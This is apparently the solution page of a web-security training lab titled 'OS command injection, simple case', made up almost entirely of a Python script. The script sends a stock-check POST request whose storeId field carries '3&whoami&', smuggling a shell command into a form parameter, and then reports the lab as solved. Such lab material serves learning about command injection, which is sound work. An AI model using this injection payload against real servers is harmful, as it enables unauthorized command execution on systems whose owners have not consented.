1. OS command injection, simple case








Last updated








Last updated
import requests
import os
import sys
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
session = requests.session()
def CommandInjection():
print("[*] Perform Command Injection.")
data = {"productId": "1",
"storeId": "3&whoami&"
}
print(session.post(url=url + "product/stock", data=data).text)
if __name__ == "__main__":
if len(sys.argv) != 2:
script_name = os.path.basename(__file__)
print(f"[-] Usage: python {script_name} http://localhost/")
sys.exit(1)
url = sys.argv[1]
CommandInjection()
print("[+] Solved.")